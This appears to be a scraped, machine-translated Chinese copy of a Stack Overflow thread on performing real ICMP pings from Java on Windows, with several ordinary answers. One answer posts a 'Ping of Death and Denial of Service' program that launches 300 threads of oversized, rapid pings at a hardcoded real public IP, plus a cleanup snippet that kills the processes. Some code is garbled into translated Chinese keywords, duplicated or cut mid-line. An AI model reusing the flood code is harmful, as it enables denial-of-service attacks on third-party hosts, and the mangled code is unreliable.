如何从Windows执行真正的Java ping？
我在网络上有一个设备，我正试图通过Java程序ping它。通过windows命令提示符，我可以ping设备地址并对地址进行跟踪 在网上，我看到为了通过Java执行ping，您必须执行以下操作：如何从Windows执行真正的Java ping？,java,windows,networking,ping,Java,Windows,Networking,Ping,我在网络上有一个设备，我正试图通过Java程序ping它。通过windows命令提示符，我可以ping设备地址并对地址进行跟踪 在网上，我看到为了通过Java执行ping，您必须执行以下操作： InetAddress.getByName(address).isReachable(timeout); 但是，当我在我的设备地址上使用此代码时，它在我的程序中总是返回false。我使用的是正确的IPv4地址，具有良好的超时值。另外，如果我使用本地主机地址，它也可以正常工作 为什么我可以通过cmd而不是
InetAddress.getByName(address).isReachable(timeout);
isReachable（）ICMP回显请求因此，您的问题可能是配置问题，即没有足够的权限在客户端计算机上执行此操作，或者如果您的客户端没有权限执行
ICMP回显请求，则服务器上的端口7问题。可能在您的情况下，您需要解决其中一方或另一方，以使其发挥作用
我在OSX和Linux客户机上测试了以下内容，当测试其他OSX、Linux和Windows服务器机器的可达性时，它会起作用。我没有Windows计算机作为客户端运行此程序
import java.io.IOException;
import java.net.InetAddress;
public class IsReachable
{
public static void main(final String[] args) throws IOException
{
final InetAddress host = InetAddress.getByName(args[0]);
System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
}
}
从我读到的。这显然是Windows的限制，Windows上不支持作为Windows 2000之前的系统调用的ICMP PING
，因此它默认尝试连接到端口7，并且在您尝试“访问”的计算机上被阻止。Java还不支持新的本机系统调用。权限是针对基于Unix的系统的，因为它们需要root用户发送ICMP
数据包
如果您想为Windows 2000及更高版本推出自己的Windows本机ICMP PING
，有一个。有点晚了，但我在尝试做同样的事情时偶然发现了这个问题
我使用的一种变通方法是直接使用命令行ping
public static boolean ping(String host)
{
boolean isReachable = false;
try {
Process proc = new ProcessBuilder("ping", host).start();
int exitValue = proc.waitFor();
System.out.println("Exit Value:" + exitValue);
if(exitValue == 0)
isReachable = true;
} catch (IOException e1) {
System.out.println(e1.getMessage());
e1.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
return isReachable;
}
原因之一是您指定的超时太低。我遇到了类似的问题，但当我将超时增加到适当的值时，isReachable调用返回了正确的值。当我需要在Windows、Linux和OSX中进行真正的ICMP ping时（我没有测试过其他系统），我使用此函数（从）
我看到很多与该问题相关的糟糕代码。为我的站点工作的代码是（站点不知道如何正确解析我的代码文件）：
公共类测试{
公共静态布尔值isReachablebyPing（字符串ip）{
试一试{
字符串命令；
if（System.getProperty（“os.name”）.toLowerCase（）.StartWith（“windows”））{
//窗户
command=“ping-n2”+ip；
}否则{
//适用于Linux和OSX
command=“ping-c2”+ip；
}
Process proc=Runtime.getRuntime（）.exec（命令）；
StreamGobbler outputGobbler=新的StreamGobbler（proc.getInputStream（），“OUTPUT”）；
outputGobbler.start（）；
进程waitFor（）；
返回checkAvailability（outputGobbler.getOutputLines（））；
}捕获（IOException | InterruptedException ex）{
Logger.getLogger（StreamGobbler.class.getName（））.log（Level.SEVERE，null，ex）；
}
返回false；
}
公共静态void main（字符串…参数）{
字符串ip=“10.20.20.17”；//在我的例子中为false
字符串ip1=“10.20.20.100”；//在我的例子中为true
System.out.println（ip+“可用”+isreachable byping（ip））；
System.out.println（ip1+“可用”+isReachablebyPing（ip1））；
}
专用静态布尔检查可用性（列出输出行）{
用于（字符串行：输出行）{
if（第行包含（“不可访问”））{
返回false；
}
if（line.contains（“TTL=））{
返回true；
}
}
返回false；
}
}
类StreamGobbler扩展线程{
受保护的输入流是；
保护字符串类型；
受保护的列表输出线；
StreamGobbler（InputStream是，字符串类型）{
this.is=is；
this.type=type；
outputLines=新的ArrayList（）；
}
公共列表getOutputLines（）{
返回输出线；
}
@凌驾
公开募捐{
试一试{
InputStreamReader isr=新的InputStreamReader（is）；
BufferedReader br=新的BufferedReader（isr）；
弦线；
而（（line=br.readLine（））！=null）{
输出行。添加（行）；
}
}捕获（IOEX异常）{
Logger.getLogger（StreamGobbler.class.getName（））.log（Level.SEVERE，null，ex）；
}
}
}
要在没有特权的情况下从java轻松ping，我使用
它非常容易使用：
final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();
request.setHost ("www.google.org");
// repeat a few times
for (int count = 1; count <= 4; count ++) {
// delegate
final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);
// log
final String formattedResponse = IcmpPingUtil.formatResponse (response);
System.out.println (formattedResponse);
// rest
Thread.sleep (1000);
}
final icmpingrequest=icmpingutil.createicmpingrequest（）；
request.setHost（“www.google.org”）；
//重复几次
对于（int count=1；count，如果使用Windows机器ping公共IP地址，则使用此选项不会有帮助：
String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
注：文件规定：
如果权限
可以获取，否则它将尝试建立TCP连接
在目标主机的端口7（Echo）上
我试过了，但结果不准确
真正适合我的是由我们的同事用户编写的类，它发送trueICMP ping，并根据IP状态返回true或false
以下JAVA代码是使用Microsoft Windows Ping死亡和拒绝服务的示例。这将用于测试目的，以便构建反黑客程序
final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();
request.setHost ("www.google.org");
// repeat a few times
for (int count = 1; count <= 4; count ++) {
// delegate
final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);
// log
final String formattedResponse = IcmpPingUtil.formatResponse (response);
System.out.println (formattedResponse);
// rest
Thread.sleep (1000);
}
String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
// BEGIN Ping of Death and Denial of Service
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;
import jxl.read.biff.BiffException;
import jxl.write.WriteException;
public class PoDandDoS {
protected static final long serialVersionUID = 300200;
public static void main(String[] args)
throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
Thread[] threads = new Thread[300];
for (int i = 0; i < 300; i++) {
threads[i] = new Thread(new Runnable() {
public void run() {
try {
thread();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
});
threads[i].start();
}
for (int i = 0; i < 300; i++) {
threads[i].join();
}
}
private static void thread() throws IOException, InterruptedException {
// Ping of Death
String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
String temp1 = "";
@SuppressWarnings("unused")
String Hostname1 = "";
while ((temp1 = VarMove1.readLine()) != null) {
Thread.sleep(2);
Hostname1 = temp1;
}
VarMove1.close();
}
}
import java.io.IOException;
//BEGIN Clean Process
public class CleanProcess {
protected static final long serialVersionUID = 300200;
public static void main(String[] args) throws IOException {
// Close every process of PING and CMD running from your PC
Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
}
}
public class Ping {
// The default daytime port
static int DAYTIME_PORT = 13;
// The port we'll actually use
static int port = DAYTIME_PORT;
// Representation of a ping target
//
static class Target {
InetSocketAddress address;
SocketChannel channel;
Exception failure;
long connectStart;
long connectFinish = 0;
boolean shown = false;
Target(String host) {
try {
address = new InetSocketAddress(InetAddress.getByName(host),
port);
} catch (IOException x) {
failure = x;
}
}
void show() {
String result;
if (connectFinish != 0)
result = Long.toString(connectFinish - connectStart) + "ms";
else if (failure != null)
result = failure.toString();
else
result = "Timed out";
System.out.println(address + " : " + result);
shown = true;
}
}
// Thread for printing targets as they're heard from
//
static class Printer
extends Thread {
LinkedList<Target> pending = new LinkedList<>();
Printer() {
setName("Printer");
setDaemon(true);
}
void add(Target t) {
synchronized (pending) {
pending.add(t);
pending.notify();
}
}
public void run() {
try {
for (; ; ) {
Target t = null;
synchronized (pending) {
while (pending.size() == 0)
pending.wait();
t = (Target) pending.removeFirst();
}
t.show();
}
} catch (InterruptedException x) {
return;
}
}
}
// Thread for connecting to all targets in parallel via a single selector
//
static class Connector
extends Thread {
Selector sel;
Printer printer;
// List of pending targets. We use this list because if we try to
// register a channel with the selector while the connector thread is
// blocked in the selector then we will block.
//
LinkedList<Target> pending = new LinkedList<>();
Connector(Printer pr) throws IOException {
printer = pr;
sel = Selector.open();
setName("Connector");
}
// Initiate a connection sequence to the given target and add the
// target to the pending-target list
//
void add(Target t) {
SocketChannel sc = null;
try {
// Open the channel, set it to non-blocking, initiate connect
sc = SocketChannel.open();
sc.configureBlocking(false);
boolean connected = sc.connect(t.address);
// Record the time we started
t.channel = sc;
t.connectStart = System.currentTimeMillis();
if (connected) {
t.connectFinish = t.connectStart;
sc.close();
printer.add(t);
} else {
// Add the new channel to the pending list
synchronized (pending) {
pending.add(t);
}
// Nudge the selector so that it will process the pending list
sel.wakeup();
}
} catch (IOException x) {
if (sc != null) {
try {
sc.close();
} catch (IOException xx) {
}
}
t.failure = x;
printer.add(t);
}
}
// Process any targets in the pending list
//
void processPendingTargets() throws IOException {
synchronized (pending) {
while (pending.size() > 0) {
Target t = (Target) pending.removeFirst();
try {
// Register the channel with the selector, indicating
// interest in connection completion and attaching the
// target object so that we can get the target back
// after the key is added to the selector's
// selected-key set
t.channel.register(sel, SelectionKey.OP_CONNECT, t);
} catch (IOException x) {
// Something went wrong, so close the channel and
// record the failure
t.channel.close();
t.failure = x;
printer.add(t);
}
}
}
}
// Process keys that have become selected
//
void processSelectedKeys() throws IOException {
for (Iterator i = sel.selectedKeys().iterator(); i.hasNext(); ) {
// Retrieve the next key and remove it from the set
SelectionKey sk = (SelectionKey) i.next();
i.remove();
// Retrieve the target and the channel
Target t = (Target) sk.attachment();
SocketChannel sc = (SocketChannel) sk.channel();
// Attempt to complete the connection sequence
try {
if (sc.finishConnect()) {
sk.cancel();
t.connectFinish = System.currentTimeMillis();
sc.close();
printer.add(t);
}
} catch (IOException x) {
sc.close();
t.failure = x;
printer.add(t);
}
}
}
volatile boolean shutdown = false;
// Invoked by the main thread when it's time to shut down
//
void shutdown() {
shutdown = true;
sel.wakeup();
}
// Connector loop
//
public void run() {
for (; ; ) {
try {
int n = sel.select();
if (n > 0)
processSelectedKeys();
processPendingTargets();
if (shutdown) {
sel.close();
return;
}
} catch (IOException x) {
x.printStackTrace();
}
}
}
}
public static void main(String[] args)
throws InterruptedException, IOException {
if (args.length < 1) {
System.err.println("Usage: java Ping [port] host...");
return;
}
int firstArg = 0;
// If the first argument is a string of digits then we take that
// to be the port number to use
if (Pattern.matches("[0-9]+", args[0])) {
port = Integer.parseInt(args[0]);
firstArg = 1;
}
// Create the threads and start them up
Printer printer = new Printer();
printer.start();
Connector connector = new Connector(printer);
connector.start();
// Create the targets and add them to the connector
LinkedList<Target> targets = new LinkedList<>();
for (int i = firstArg; i < args.length; i++) {
Target t = new Target(args[i]);
targets.add(t);
connector.add(t);
}
// Wait for everything to finish
Thread.sleep(2000);
connector.shutdown();
connector.join();
// Print status of targets that have not yet been shown
for (Iterator i = targets.iterator(); i.hasNext(); ) {
Target t = (Target) i.next();
if (!t.shown)
t.show();
}
}
}